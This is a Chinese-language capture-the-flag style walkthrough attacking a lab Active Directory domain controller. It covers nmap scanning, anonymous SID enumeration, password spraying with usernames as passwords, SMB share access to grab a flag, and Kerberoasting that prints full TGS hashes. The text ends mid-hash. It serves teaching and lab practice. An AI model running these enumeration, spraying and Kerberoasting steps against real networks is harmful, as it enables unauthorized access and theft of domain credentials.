信息收集
┌──(root㉿kali)-[/home/kali]└─# arp-scan -l | grep "08:00:27" | awk '{print $1}'WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission deniedWARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied10.0.91.3┌──(root㉿kali)-[/home/kali]└─# nmap -sC -sT -sV -p- -O 10.0.91.3Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-19 02:59 EDT
● -sC使用 Nmap 自带的 默认脚本集 (equivalent to --script=default) ,会尝试常见的信息收集(如 banner 抓取、漏洞探测)。● -sT使用 TCP connect() 扫描。这是最基础的 TCP 扫描方式,直接调用系统的 connect 系统调用去建立三次握手,速度较慢,也更容易被发现。● -sV版本探测。在发现开放端口后,进一步探测服务的版本号、软件名。● -p-扫描 所有 65535 个 TCP 端口(从 1 到 65535)。● -O启用 操作系统探测(基于 TCP/IP 堆栈特征指纹匹配)。┌──(root㉿kali)-[/home/kali]└─# nmap -sC -sT -sV -p- -O 10.0.91.3Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-19 02:59 EDTNmap scan report for 10.0.91.3Host is up (0.00039s latency).Not shown: 65517 filtered tcp ports (no-response)PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-08-19 22:00:51Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open tcpwrapped3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)3269/tcp open tcpwrapped5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found|_http-server-header: Microsoft-HTTPAPI/2.09389/tcp open mc-nmf .NET Message Framing49664/tcp open msrpc Microsoft Windows RPC49667/tcp open msrpc Microsoft Windows RPC49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.049705/tcp open msrpc Microsoft Windows RPC49790/tcp open msrpc Microsoft Windows RPCMAC Address: 08:00:27:B9:D1:18 (Oracle VirtualBox virtual NIC)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portDevice type: general purposeRunning (JUST GUESSING): Microsoft Windows 2022|11|2016 (97%)OS CPE: cpe:/o:microsoft:windows_server_2016Aggressive OS guesses: Microsoft Windows Server 2022 (97%), Microsoft Windows 11 21H2 (91%), Microsoft Windows Server 2016 (91%)No exact OS matches for host (test conditions non-ideal).Network Distance: 1 hopService Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:|_clock-skew: 14h59m56s| smb2-security-mode:| 3:1:1:|_ Message signing enabled and required|_nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:b9:d1:18 (Oracle VirtualBox virtual NIC)| smb2-time:| date: 2025-08-19T22:01:43|_ start_date: N/A
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 202.41 seconds发现Domain: SOUPEDECODE.LOCAL0,域名解析一般都是小写,添加进dns
DNS写入
sudo nano /etc/hosts10.0.91.3 soupedecode.local渗透思路
4️⃣ 渗透测试重点
- 域枚举
- LDAP 389/3268: 可尝试
ldapsearch枚举用户和组。 - RPC 135+动态端口: 可用
rpcclient或lookupsid.py枚举 SID / 用户。
- LDAP 389/3268: 可尝试
- SMB 相关
- 445/139: 枚举共享目录(
smbclient -L)、NTLM 认证测试。 - SMB 签名强制开启 → 阻止中间人攻击,但不会阻止合法枚举。
- 445/139: 枚举共享目录(
- Kerberos/WinRM
- 88/464: 可做 Kerberos 枚举或密码喷射(AS-REP Roasting、Kerberoasting)。
- 5985: WinRM 服务,合法凭据可远程执行命令。
- DNS
- 53/tcp: 可做域名解析、内部域信息枚举、域名爆破。
匿名枚举
前置知识
🔹1. LDAP 匿名枚举
匿名绑定(Anonymous Bind)允许未认证的用户连接 LDAP。
判断方法:
ldapsearch -x -H ldap://<IP> -D '' -w '' -b '' -s base "(objectclass=*)"- 成功返回域名信息、目录结构 → 支持匿名绑定,可以枚举用户/组。
- **返回
**Invalid credentials**或 ****Insufficient access**→ 匿名枚举被禁用。
🔹2. SMB 匿名枚举
Windows 的 SMB 服务允许“空会话”(Null Session)。
判断方法:
smbclient -L //<IP> -N- 能列出共享 → 允许匿名会话。
- **报错
**NT_STATUS_ACCESS_DENIED**或 ****Logon failure**→ 禁止匿名。
还可以用:
rpcclient -U "" <IP>如果直接能进入 RPC 命令行(如输入 enumdomusers 有输出),说明匿名可用。
🔹3. RPC 枚举
RPC 服务(135端口 + 动态端口)也可能支持匿名。
判断方法:
rpcclient -U "" <IP>- 能直接进入 → 匿名枚举开启。
- 要求输入密码 → 匿名禁用。
🔹4. lookupsid.py
lookupsid.py 可以用 空用户名/空密码 尝试匿名 SID 枚举:
lookupsid.py <DOMAIN>/""@<IP>- 能返回 RID 对应的用户名/组名 → 匿名可行。
- **返回 **
**STATUS_ACCESS_DENIED**→ 匿名禁用。
枚举命令
1️⃣ LDAP 枚举(389 / 3268)
枚举域用户
ldapsearch -x -H ldap://10.0.91.3:389 -D "" -w "" -b "DC=SOUPEDECODE,DC=LOCAL" "(objectClass=user)" sAMAccountName枚举域组
ldapsearch -x -H ldap://10.0.91.3:389 -D "" -w "" -b "DC=SOUPEDECODE,DC=LOCAL" "(objectClass=group)" cn2️⃣ RPC 枚举(135 + 动态端口)
使用 rpcclient 匿名连接
rpcclient -U "" -N 10.0.91.3进入 RPC shell 后:
enumdomusers # 枚举域用户enumdomgroups # 枚举域组queryuser <RID> # 查看指定用户信息使用 lookupsid.py(Impacket)
lookupsid.py 'SOUPEDECODE.LOCAL/anonymous:@10.0.91.3' > users.txt- 会把域内 SID → 用户/组映射输出到
users.txt
3️⃣ SMB 枚举(445 / 139)
枚举共享目录(匿名)
smbclient -L //10.0.91.3 -N访问共享(使用用户名和密码)
smbclient //10.0.91.3/C$ -U <username>%<password>impacket-lookupsid
lookupsid.py(在 Kali 上叫 impacket-lookupsid)是 Impacket 工具集里专门用于枚举 Windows/Active Directory 域 SID(安全标识符)的工具。
1️⃣ 它的主要用途
- 枚举域 SID
- 获取域的 唯一标识符(Domain SID),例如:
S-1-5-21-2986980474-46765180-2505414164- 这是后续用户哈希获取、权限枚举的重要信息。2. 枚举域用户和组 - 通过暴力尝试 RID(Relative Identifier,相对标识符)范围,找出所有已注册的用户、组和计算机账户。 - 输出类似:
500: SOUPEDECODE\Administrator (SidTypeUser)512: SOUPEDECODE\Domain Admins (SidTypeGroup)2163: SOUPEDECODE\backup_svc (SidTypeUser)- 可以快速得到整个域的账户列表,包括服务账号和计算机账号。3. 匿名枚举支持 - 即使没有合法域用户认证,有些 Windows 域允许 RPC 接口的匿名查询,仍然可以枚举部分或全部账户。 - 对渗透测试和信息收集很有用。
2️⃣ 工作原理
- 使用 LSARPC (Local Security Authority Remote Procedure Call) 协议
- 连接到目标域控的 RPC 接口,通常是
ncacn_np:<target>[\pipe\lsarpc] - 通过发送请求尝试不同的 RID,获取 SID → 名称映射
3️⃣ 前提条件
- 目标是 Windows 域控或加入域的服务器
- 只有 Active Directory 才有域 SID、域用户和组的概念。
- 能访问域控的 RPC 接口
- 常见端口:
135/TCP(RPC Endpoint Mapper) + 动态 RPC 端口(一般 49152–65535) - 工具默认使用 LSARPC(
ncacn_np:<IP>[\pipe\lsarpc])访问 RPC。
- 常见端口:
- 匿名或低权限可用
- 一些域允许匿名 RPC 查询,这时无需域账户即可使用
lookupsid。 - 如果匿名访问被禁用,需要使用合法账户或凭据。
- 一些域允许匿名 RPC 查询,这时无需域账户即可使用
- 需要收集初始信息
- 你想枚举:
- 域 SID
- 域用户(普通账户、服务账户、计算机账户)
- 域组(Domain Admins, Domain Users 等)
- 你想枚举:
工具利用
┌──(root㉿kali)-[/home/kali]└─# impacket-lookupsid SOUPEDECODE.LOCAL/anonymous@10.0.91.3
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:[*] Brute forcing SIDs at 10.0.91.3[*] StringBinding ncacn_np:10.0.91.3[\pipe\lsarpc][*] Domain SID is: S-1-5-21-2986980474-46765180-2505414164498: SOUPEDECODE\Enterprise Read-only Domain Controllers (SidTypeGroup)500: SOUPEDECODE\Administrator (SidTypeUser)501: SOUPEDECODE\Guest (SidTypeUser)502: SOUPEDECODE\krbtgt (SidTypeUser)512: SOUPEDECODE\Domain Admins (SidTypeGroup)513: SOUPEDECODE\Domain Users (SidTypeGroup)514: SOUPEDECODE\Domain Guests (SidTypeGroup)515: SOUPEDECODE\Domain Computers (SidTypeGroup)516: SOUPEDECODE\Domain Controllers (SidTypeGroup)517: SOUPEDECODE\Cert Publishers (SidTypeAlias)518: SOUPEDECODE\Schema Admins (SidTypeGroup)519: SOUPEDECODE\Enterprise Admins (SidTypeGroup)520: SOUPEDECODE\Group Policy Creator Owners (SidTypeGroup)521: SOUPEDECODE\Read-only Domain Controllers (SidTypeGroup)522: SOUPEDECODE\Cloneable Domain Controllers (SidTypeGroup)..........2154: SOUPEDECODE\PC-82$ (SidTypeUser)2155: SOUPEDECODE\PC-83$ (SidTypeUser)2156: SOUPEDECODE\PC-84$ (SidTypeUser)2157: SOUPEDECODE\PC-85$ (SidTypeUser)2158: SOUPEDECODE\PC-86$ (SidTypeUser)2159: SOUPEDECODE\PC-87$ (SidTypeUser)2160: SOUPEDECODE\PC-88$ (SidTypeUser)2161: SOUPEDECODE\PC-89$ (SidTypeUser)2162: SOUPEDECODE\PC-90$ (SidTypeUser)2163: SOUPEDECODE\firewall_svc (SidTypeUser)2164: SOUPEDECODE\backup_svc (SidTypeUser)2165: SOUPEDECODE\web_svc (SidTypeUser)2166: SOUPEDECODE\monitoring_svc (SidTypeUser)工具介绍
1️⃣ CrackMapExec (CME)
用途: 以 渗透测试自动化为主,侧重“账户凭据验证 + 横向移动 + 信息收集”。
特点:
- 支持 SMB/LDAP/WinRM/MSSQL 等多协议,不仅仅是 SMB
- 能用已知用户名/密码或 NTLM hash 验证登录
- 可枚举域信息、用户、组、共享、会话
- 可执行远程命令(PSEXEC、WMIC、WMI)
- 适合 红队渗透流程中自动化攻击和内网横向移动
典型命令:
# 测试 SMB 登录cme smb 10.0.91.3 -u Administrator -p 'Passw0rd!'
# 枚举 SMB 共享cme smb 10.0.91.3 -u user -p pass --shares
# 枚举域用户cme ldap 10.0.91.3 -u 'user' -p 'pass' --users2️⃣ smbmap
用途: 专注于 共享目录权限扫描和文件枚举,更像 SMB 的“扫描器+文件访问工具”。
特点:
- 检测哪些共享可访问(读/写/列出)
- 可以递归列出共享目录下文件
- 可下载或上传文件(如果权限允许)
- 不关注域信息或横向移动,只关注 SMB 文件系统
典型命令:
# 列出共享和权限smbmap -H 10.0.91.3 -u user -p pass
# 下载共享目录下文件smbmap -H 10.0.91.3 -u user -p pass -R /shared/folder
# 上传文件smbmap -H 10.0.91.3 -u user -p pass -U /local/file.txt -T /remote/path3️⃣ 区别总结
| 工具 | 主要用途 | 强项 | 典型阶段 |
|---|---|---|---|
| CME | 内网渗透自动化、凭据验证、横向移动 | 枚举域、用户、组、共享、远程命令执行 | 内网渗透、红队操作 |
| smbmap | SMB 文件系统枚举 | 扫描共享目录权限、下载/上传文件 | SMB 权限测试、文件渗透 |
爆破登录
提取指令
500: SOUPEDECODE\Administrator (SidTypeUser)impacket-lookupsid SOUPEDECODE.LOCAL/anonymous@10.0.91.3 \| grep "(SidTypeUser)" \| awk -F'\\' '{print $2}' \| grep -v '\$' \| sed 's/ (SidTypeUser)//'Awk 为什么要两个 \
在 awk 里,
**-F**用来指定分隔符。我们想用 反斜杠
**\**作为分隔符,但**\**在很多地方是转义字符,比如:**\n**表示换行。所以为了让 awk 识别真正的反斜杠,需要写成
**\\**。第一个
**\**是告诉 awk“后面是一个特殊字符”第二个
**\**表示字面量的反斜杠举个例子:
SOUPEDECODE\Administrator
如果你用
**-F'\\'**分隔,awk 会把它拆成两列:
| 列1 | 列2 |
|---|---|
| SOUPEDECODE | Administrator |
**{print $1}**→ 输出 SOUPEDECODE(域名)
**{print $2}**→ 输出 Administrator(用户名)
Sed 分析
sed ‘s/ (SidTypeUser)//’
分解开来:
sed:流编辑器,用来处理文本,可以对每一行进行替换、删除等操作。
s/…/…/:这是 sed 的替换命令,格式是 s/要替换的内容/替换成什么/
左边是你要匹配的文本
右边是你想替换成的文本
(SidTypeUser):这是要匹配的文本,也就是每行末尾的 (SidTypeUser)
注意前面有一个空格,要一起匹配
//:替换成空,也就是把匹配到的内容删除
┌──(root㉿kali)-[/home/kali]└─# impacket-lookupsid SOUPEDECODE.LOCAL/anonymous@10.0.91.3 \| grep "(SidTypeUser)" \| awk -F'\\' '{print $2}' \| grep -v '\$' \| sed 's/ (SidTypeUser)//'\pipe pipe pipe pipe> >user.txt
得到user.txtSMB 爆破
使用Crackmapexec进行smb爆破
crackmapexec smb 10.0.91.3 -u user.txt -p user.txt --continue-on-success --no-bruteforce | grep +
--continue-on-success找到一个有效凭据后,不会停止,而是继续测试其他用户/密码组合。
--no-bruteforce用户和密码是“一一对应”的,即第1行用户只搭配第1行密码,第2行用户只搭配第2行密码。不会进行全排列爆破。
👉 所以这里更像是“凭据对列表”测试,而不是字典爆破。
| grep +CME 的输出中,成功登陆的行前面通常会有 + 符号。通过 grep 过滤,只显示成功的结果。┌──(root㉿kali)-[/home/kali]
└─# crackmapexec smb 10.0.91.3 -u user.txt -p user.txt —continue-on-success —no-bruteforce | grep +
SMB 10.0.91.3 445 DC01 [+] SOUPEDECODE.LOCAL\ybob317:ybob317
SMB登录
smbclient //10.0.91.3/IPC$ -U ybob317
┌──(root㉿kali)-[/home/kali]└─# smbclient //10.0.91.3/IPC$ -U ybob317Password for [WORKGROUP\ybob317]:Try "help" to get a list of possible commands.smb: \> lsNT_STATUS_NO_SUCH_FILE listing \*使用smbclient
smbclient //10.0.91.3/users -U SOUPEDECODE.LOCAL/ybob317%ybob317Try "help" to get a list of possible commands.smb: \> dir . DR 0 Thu Jul 4 18:48:22 2024 .. DHS 0 Mon Jun 17 13:42:50 2024 admin D 0 Thu Jul 4 18:49:01 2024 Administrator D 0 Sat Jun 15 15:56:40 2024 All Users DHSrn 0 Sat May 8 04:26:16 2021 Default DHR 0 Sat Jun 15 22:51:08 2024 Default User DHSrn 0 Sat May 8 04:26:16 2021 desktop.ini AHS 174 Sat May 8 04:14:03 2021 Public DR 0 Sat Jun 15 13:54:32 2024 ybob317 D 0 Mon Jun 17 13:24:32 2024smb: \ybob317\Desktop\> get user.txtgetting file \ybob317\Desktop\user.txt of size 32 as user.txt (0.9 KiloBytes/sec) (average 0.9 KiloBytes/sec)// cat user.txt6bab1f09a7403980bfeb4c2b412be47bSMBexec
┌──(root㉿kali)-[/home/kali]└─# impacket-smbexec SOUPEDECODE\ybob317:ybob317@10.0.91.3Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
凭据正确(否则会是 STATUS_LOGON_FAILURE),说明 ybob317 用户 + 密码能认证。但是 权限不足,不能使用 smbexec 远程执行命令。Kerberoasting
之前扫描端口,看到一个票据认证的服务端口,尝试找相关工具扫一下!
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-08-19 22:00:51Z)靶机开着88端口,就是kerberos的验证服务,我们可以尝试获取该用户的SPN然后进行kerberoasting
kerberoasting本质上就是破解TGS票据,TGS票据使用服务HASH来加密的
首先第一步就是获取用户SPN ,使用Impacket-GetUserSpn
前置知识
1️⃣ SPN(Service Principal Name)是什么?
- 定义:SPN 是 服务的唯一标识,用来让 Kerberos 知道“我想访问哪个服务”。
- 作用:
- Kerberos 认证时,客户端需要拿到某个服务的票据(TGS)。
- SPN 告诉域控“我要访问的服务是 X,绑定在账号 Y 上”。
- 举例:
MSSQLSvc/db01.soupdecode.local:1433→ 表示 SQL 服务绑定在某个账号上。HTTP/web01.soupdecode.local→ 表示 Web 服务。
总结:每个运行在域环境下的服务都有 SPN,通常是绑定在域账号上的。
2️⃣ Kerberoasting 本质
- 目标:获取域用户(通常是服务账户)的密码。
- 原理:
- 服务账户(带 SPN 的账号)在域里注册了 SPN。
- 客户端请求访问服务时,域控会生成 TGS(Ticket Granting Service)票据,用于访问该服务。
- TGS 票据是用服务账户的 NTLM hash 加密的。
- 攻击者可以获取 TGS 票据后离线破解,得到服务账户明文密码。
- 特点:
- 票据是离线破解 → 不会触发实时警报。
- 依赖于 SPN 已经注册在域用户上。
- Kerberoasting 针对 域账户,尤其是服务账户,而不是普通本地账户。
3️⃣ 什么时候用 GetUserSPNs 工具
- 工具作用:
- 枚举域内注册了 SPN 的用户(服务账户)。
- 可以直接请求 TGS 票据并导出为 hashcat/john 可用格式。
- 使用场景:
- 你在内网获取了一个 域用户凭据。
- 想要找到高权限服务账户并离线破解密码(Kerberoasting)。
- 通常是渗透测试阶段 横向移动和提权前的步骤。
- 限制:
- 必须有域账户凭据(本地账户不行)。
- 不能针对 SMB 本地账号 Kerberoast。
SPN获取
┌──(root㉿kali)-[/home/kali]└─# impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip 10.0.91.3Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation---------------------- -------------- -------- -------------------------- --------- ----------FTP/FileServer file_svc 2024-06-17 13:32:23.726085 <never>FW/ProxyServer firewall_svc 2024-06-17 13:28:32.710125 <never>HTTP/BackupServer backup_svc 2024-06-17 13:28:49.476511 <never>HTTP/WebServer web_svc 2024-06-17 13:29:04.569417 <never>HTTPS/MonitoringServer monitoring_svc 2024-06-17 13:29:18.511871 <never>┌──(root㉿kali)-[/home/kali]└─# impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip 10.0.91.3 -requestImpacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...[-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
🔹 解析CCache file is not foundImpacket 想用 Kerberos票据缓存(ccache) 做认证,但没找到票据文件。这个可以忽略,如果你是用明文账号密码请求 TGS 票据。
KRB_AP_ERR_SKEW (Clock skew too great)Kerberos 非常依赖 客户端与域控时间同步。错误意思:你的 Kali 虚拟机时间和域控(10.0.91.3)时间差太大(默认超过 5 分钟就会拒绝)。主要问题在于_Kali虚拟机时间和域控(10_.0.91.3_)时间差太大(默认超过_5_分钟就会拒绝)_
┌──(root㉿kali)-[/home/kali]└─# sudo ntpdate 10.0.91.32025-08-20 13:16:30.188845 (-0400) +53998.182220 +/- 0.000248 10.0.91.3 s1 no-leapCLOCK: time stepped by 53998.182220__
__
┌──(root㉿kali)-[/home/kali]└─# impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip 10.0.91.3 -requestImpacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation---------------------- -------------- -------- -------------------------- --------- ----------FTP/FileServer file_svc 2024-06-17 13:32:23.726085 <never>FW/ProxyServer firewall_svc 2024-06-17 13:28:32.710125 <never>HTTP/BackupServer backup_svc 2024-06-17 13:28:49.476511 <never>HTTP/WebServer web_svc 2024-06-17 13:29:04.569417 <never>HTTPS/MonitoringServer monitoring_svc 2024-06-17 13:29:18.511871 <never>
[-] CCache file is not found. Skipping...$krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/file_svc*$f3767383cfeb5a5440c9b0ab3de4a30a$39c77960d4c3362ab5973a965de722db38639c955683cc4876e9f6089a4df6005830b238d4e81b4a994a9919de64cef2d7de9f57a06b8846e6189319c9db3d10beaf618cd0d3db3fca71f9657f215c7a8a238dc86af2ed9cdb1c567fbf99ec1c87d3c9b668802ecf55ed22f95702b48fd9340e22e5ea5a88c150340bbcb9f821f9830c55ed74d8db1581d6a8d1bed65ad8f141ddd186dd2a066c497d80556f496f69cfaf69306aef708e41dff44a8e9b6fcffeeb079009c64d648a828273bd5eb33e2374c8aa5cd127e9ed688ac4849dd136f384837d743f7cce4bd46e657a3012d1e7f567478f2660d76e2d854e2ffb8c8e47ce6953f48e7142ea162dad7bfe1810687dabe3da5646682a5bb77b940f471755b79184de187f3fc179b4271e68186d51a1cfca35f797b782fec13356b830c11dee5c2daae7f06fe885bf4912c1795ad60965beda2d671d7cb4e7e4d3098e743565a09fba951321ff0abb68d0f3c8ebdb72cbeaa49782e68a3726fc3901db8087251550a0e88bb0f509b4457b480be5b2e7017dedc9724c2465c3229d53832366f01d1f895e82407728a8400ddbc3ed3d8579459e2ad2ec52ec809aed47e22a5ef9e2f16e3babb2477056c675e0ae4d0c42591eaed9e73b52ead491548c6ea76e58411af0ffeb8856badebaf16a2e5664de2d4334b1fc7b0890dd945ac899eae19ec79b894b93fd936619aa4cbd9f5fb63331ae936dffc5e0880d39b107291a6dd96f2ea5814505cb29d8f74d4b0b26ff0db10e475aebc7a5fd2f27b9b656c881c5d962faae8efeddb30ecc2018a65a097e944970b357197c2713b32dcd744001b8e1e4a3a8e37862cce1d5190226c743c82778673e9e216571a0328c77177e81b3c7dd7239e0f2031007c58c584f60d581be9b9145411897bd87577b2d027646f9b5f7319cfee48910646b5f31aed50b430529821924b9b94ed355703d8897b4df1cc42f0762c072e616be071e5f493e0b2bf5099ab4e3a8af6177074100556fdebec0315d00e84482da49cd56660d5fcd4b8435fef107329646abe5c0a6ca79c95bd82fc2b211054107b950e1d3b995fd095b998896fb80d9bbe03b7673dec584a93b25917964b5a2a0fa319881da217cf3e2020face48848734b5d960c50278419702a091237c42cf7b1aff159e9ec3b369e7677d1408d10df6a2af8a5a10d090f06af5df2a59118545feddf8659d88aef008ae7171fd5cd0e7ea3e2c3248a0a186c5221069d246d6ea67f2a493195c03f574086926ec245fd942185444dc51411e0f6dac4df227b6bc585c01e896e555d697149f14a22cff5904dbe2f2ac28ccbcfa1628c175984a90bc70133eb41ef779f44013a3647ceaf6875fec98093dca38ccb77139b969a3d1bc26366068c0451697855155370c9dca75116b90d99f7d043ac7ce70aa90b3b57fe94bb7b167e6f1b79ba89d1badfa8b4aeec393eb3a22e7d0d3d43330404a61e13bc67$krb5tgs$23$*firewall_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/firewall_svc*$ab7469761075f86228b2fd22b112ee67$c2c7811a3012e3f18c193fdcd71e702d5181e7537fe3d6bc6d1a5a62aea97e90bf906beb32e20b1c6af719ad66127fcacdc365735fbc44cc3180a346e76083cc0d9d9ca55d99e6c45eb6694f5459dc6f7165675e9476c195195cbb105c25533f38fb1ebd3dba58d35038fc43321f51d95af06066d7f4450f074215c8d1fc7832f6bedbdc8a30d95a2ad17e04d8a04c2344db0414a33d0666d5d7f67e50e1573a5dee8f986baad095b60e96bc9252f2711ce71545242cdb2d46ea624beb90d21f7671eb076d2c593de8ea668968464f4202f676d4157e34237da5907477c8c7c54a45b1503818880b62c34f4515435b5e88e147c79a54ea69f70c56fd5dd97add63acf7a530499e26400531a7dde63d8158a74f5e94651e616865ddf29d33c781b529fc3d8685ac01ca0850528d60cdc505832dbe759a5f92f0bac1f42772def41f47e455c823082138757df39e59d6d40464354ef9c4f2b80dc71f723072197129e75c38f7edd75b49b3cbeb57a2fe4c81c7959dc4038ab6c89aa1bfd2fbaa027b4e4a609d8adbf98822862578bdf6aebd8fe2da04a57ed522d7193a177d5373a176c886162aa26d3ac4b1383aa5edeeea8991bdbe6ea6832b8617e74be40afde752d611084576d70a27d5f99f29306805039aec5855772f207572e5ee73485cac223b07e8ecb20df0a5449a2a2158f50b1284fce29425bf39a8924f89bf128e9413ec87e9987425516ab000177db7bdfa9371aa98a2084fd8990f6e1f77f98223f1839881c5d158bfbc3612660cdc4bb505f7370a2e0fe46993558da958ac6de774126fab705bf11ef9ad67c2042133381a96a436c988d8eb09103d8f2e8a89c4430587f5e37120e23a850a2f2cf2d49fab144de77ce86a6f9fa45c43075dcbe2adc874a081a2f35490f252948ed9657986d77299e8598976ebacf535f9349157b4f0e9a7a54aafc2a1be7507e6f424633c462858d4cf5c99966232209f0a62775a990bbac441ca8c8fd1e05a7ad77f6e591d443d63b300e359aeca679839909b80b787a0562dcfad6d26da4a7bdfca598795933ec645ef0e969ef34a1ba4873e29ca40bc286616a2e9a43c67e239c092de5aa53c82880ac2c38feb703bd904a9017755f109300b9e868688faf6c4b7a7318851f1d6c1873e1919e724b99b336cf24ad8f6c9bd269b24d9d4fdbd84d064d582b9a8a5fbb0ae1c42ed598beaf663086d248c80ec7c4f0eb9379d281796c42cd76a319f9ec90bdb37c318860ac4a1497290ae1ff8001762edb76a4f7bd6642e099c72b81a5440cec17447cdb06cd5a7f4ad81968499f101035c5768a4d2e473cb520c43abc5aac68e2c174a8fffde69343a63f97bc21aaf9fa4774edf41b69ec314732a428ae35ad36a4ba9aa55fdc6cdb4f55fc64deec1a3bd7a433b064287cf1a9e46c1317f1f75251e946f2c9e02bb0ad3b8f4139c82b832633c8cc9f70649a07c6d5ad38999d8ad98815c5d45$krb5tgs$23$*backup_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/backup_svc*$2bff5855b0f6911478f544849e8e9823$53e384caccb4874a4ed81e37dd3a368563aba75da62476bb3202806db89deefad7ed532bf604d53ac5275d5fb80cdfb6ad6653c693852bcbeec917a908f7970474df952d10ea3586b90fdc38efc0a8cc4d743a977bb5eb075b8ab50fed0169c642cccc812eb54c91622ff7ed0b355f9c9db4258badb0c7cf20fd400f4342ca8f616db95cdd7bcd583c967fe0b798c8ec6220ed11784641c6ab56910cccda7fb7a36319bf0a6dcce101e3b45b525a5cab370bd995240b1774ac2aa9fcebfd66bbb8204aeb9378c46ec9377374b46c90b239ce10a03a80638dfb163055fd2be6834f7d7b67776c07b9a1372b24c3b5fc48f5f3010fb43e0c7b045a734efb10a809ace052bf7114e24d0dcff0424b64a18a098e26aaa7e8cd27a5ead4319bba5d2459625ecd18e04b472bcbe574a61339532da49ad51ab643896040385378e6a2ca3a5dc0cfea1d66115f88acedad62762b7aab8142fda5a039b3b6b03cee8856a432d76aa7db6137d2a40faf878d064fe8b37dcb1ca7e631f60d1eb99691ca563ee3c2a738d9cf83887df44fc5736ac0945951d9a87d76571413a26c96f971c856356c422a4b18d8a912a65527eedb7021ed1b987d60ea7524ba70c20e09e14a041e0e5c4ce005648ca2dd31516e53c3a75e83664db7d02c201de18656a8e046a47b5b6b88fe6bed05c5ea0b0cb69c2d148d9a14b2f4bdba53b35e44b920262b348d2c04c05b29e8bb7f266467f8c63fb0186b683373ad0954b35ffabbfb404530a4ffca93bfe8d73cb6bbf5b68fea56a3f313c2f164f22a0140f2d6e202c5af2ab2f9df517eba861c10bc6e016fb32ed6010c012c45d314cee4d17d6dc230168f3706fad2f6fb3752447c229ab5d41da208e3bf5ab6387860d15e3fab9ec981610129de2ba09b50daab1aa9253e9051e6782fc5fce50f8994cc01f7e83543813b8d5c09e41ab709919385ae00e8c1a1774f60a6354aca790be856c432742029a22425fad11901b79c8361897730b6a3afdf17a11979bdb8e418af540331a1bcaf88b9e7c5f82831299190f7d33a5ebcf910950b05d063237b7b88492d6bb741f48f34d3598399dd81d073aa620a1f42a7d67ee813ec51c556f61863bd9e3092e5329aa8b2099f65eab731c6f6c5951764216be679c89b8f6e2bd9ad5330b725c791b425358355b5cfa61a0aa72e7bafa47e99e2aabe6012a4550c787df880c33b095d4feda926267dbb39f0955ef9cdaa0732992c18251f0f64e03fb413234fbf635aea4c2d691adefd069726a2cfdfe063b2c239ffb57394eebdd82e8ef50863625672a690df2421c44fb6998cad374e54c3be335c49101e0a379b718684a905166aae1855d8f03c7a9fd8921690b502c205b24d9785ed9f89679ba1597d78333f32e97ceb292681a7b68592433a6f5c8ba7aab82d7c72985e3cb0c19d0cc3ed22cc26aa554f458ca750835402bb7448fe98d7e7634639261a4785d59c6e5d2a6d$krb5tgs$23$*web_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/web_svc*$31cd7b6ddd70d011ece9ba3dabbf35da$9d184606b31a074d6a0dbfdd8b524d02224378511924a26fe81ff7bf96996cdb64e0b1ec5f73005cc68765b8447bf146fc6b53974f14277873596c16b4d61684cfd10ac9bd4fba97af298693d6ff3d0c2cfd17953a87dc980df9a3b51e89a2d5d4952e31660e9ba72b6341e9f3b1a095ebe9c58410502a432f4be68da6fc7d01ce7f3894ae99d8f4466557dbc303a4aafee6f79d5c0ff7fd816781627900c74dca438eab5f07fedb31cf2eb746be1aaebdc6b4cd01526f316d2872fa33798cda82cb0c0ec16c29f7fa47c165038fdaca19670d3b5d521b67ba4989a33304719fc8a4b9e5435124417d569f6d688a073fdd2215342877362ffcda765a35ad8ffdab89a0ae0bd12f38310a43e07976656a57dfcc041a20a25ce35921be4e809bdd4e4320a4be3cac66061a88faef0bf421630688451438c4e22771251e4764a7909bcbfc06aa12685db44ea6799822ad552f044a60a2777ef06dc9638840cb21532af52b1f88ce0db1526f507eacb789b10d450ad8372a2d0d84ff8cf95ef3e07d1500f01f2657f351ba115b2277e89db979c590923df5484e75d2bf028d9c08b1d51b322605fc169e08f36d3da1cf1ebad4fb8c00540ca032ef83bfc040a78b15325a48738ad0047b1ea91f538d078c5709bfd4128df2825060afa8ad1ba45a2d2af